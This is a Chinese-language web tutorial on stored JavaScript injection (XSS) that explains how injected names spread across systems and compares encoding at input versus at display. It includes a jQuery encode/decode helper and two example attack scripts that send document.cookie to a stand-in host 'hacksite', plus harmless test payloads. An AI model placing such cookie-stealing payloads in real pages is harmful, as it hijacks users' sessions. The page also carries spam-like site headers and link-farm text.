国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > JS > 正文

JavaScript注入漏洞的原理及防范(詳解)

2024-05-06 16:33:23
字體:
來源:轉載
供稿:網(wǎng)友

初次接觸:

初次接觸JavaScript注入漏洞后,如果不對這種漏洞的作用機理仔細分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項目中可能存在的所有注入風險并在代碼中防范。

發(fā)生模式:

JavaScript注入漏洞能發(fā)生作用主要依賴兩個關鍵的動作,一個是用戶要能從界面中注入JavaScript到系統(tǒng)的內存或者后臺存儲系統(tǒng)中;二是系統(tǒng)中存在一些UI會展示用戶注入的數(shù)據(jù)。

比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因為名字往往會在各種系統(tǒng)上顯示,如果在某個用戶輸入名字的時候注入了腳本,那么受其影響的各個系統(tǒng)都有發(fā)生注入漏洞的風險。

曾經(jīng)在幫別的項目做Bug Bash時,我給系統(tǒng)中的一個名字中注入了JavaScript腳本,結果導致使用這個名字的8個子系統(tǒng)、站點、app出現(xiàn)問題。

解決方案:

防范注入漏洞主要有兩個思路:一個是在用戶輸入數(shù)據(jù)后Encode內容后再保存到持久存儲,另一個是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲中取到的數(shù)據(jù)。

方法一的優(yōu)點是一般存儲用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會有變化的可能,因此比較好防范;但缺點是存儲在持久存儲中的數(shù)據(jù)是Encode后的。

方法二的優(yōu)點是存儲在持久存儲中的數(shù)據(jù)原始內容;但缺點是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒有做好防范,漏洞最后還是發(fā)生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){return $('<div/>').text(value).html();}function htmlDecode(value){return $('<div/>').html(value).text();}

漏洞被用于攻擊時注入內容:

jQuery場景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS場景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

測試漏洞時注入內容:

<script>alert(0)</script>

<script>debugger</script> --輔助開發(fā)人員快速定位出錯的JavaScript代碼(打開調試器的情況下)。

以上這篇JavaScript注入漏洞的原理及防范(詳解)就是小編分享給大家的全部內容了,希望能給大家一個參考,也希望大家多多支持VeVb武林網(wǎng)。

 

注:相關教程知識閱讀請移步到JavaScript/Ajax教程頻道。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 西昌市| 陕西省| 房产| 屏东市| 灵丘县| 油尖旺区| 阿合奇县| 长寿区| 阿合奇县| 安康市| 嵩明县| 独山县| 绥德县| 农安县| 仁怀市| 灵寿县| 安远县| 南丹县| 平阳县| 茶陵县| 鄯善县| 运城市| 平顺县| 佛冈县| 凤山县| 七台河市| 黔西| 沾益县| 永新县| 云林县| 黄陵县| 鄂州市| 武隆县| 南溪县| 鞍山市| 青铜峡市| 黄大仙区| 鄂温| 临邑县| 海口市| 西吉县|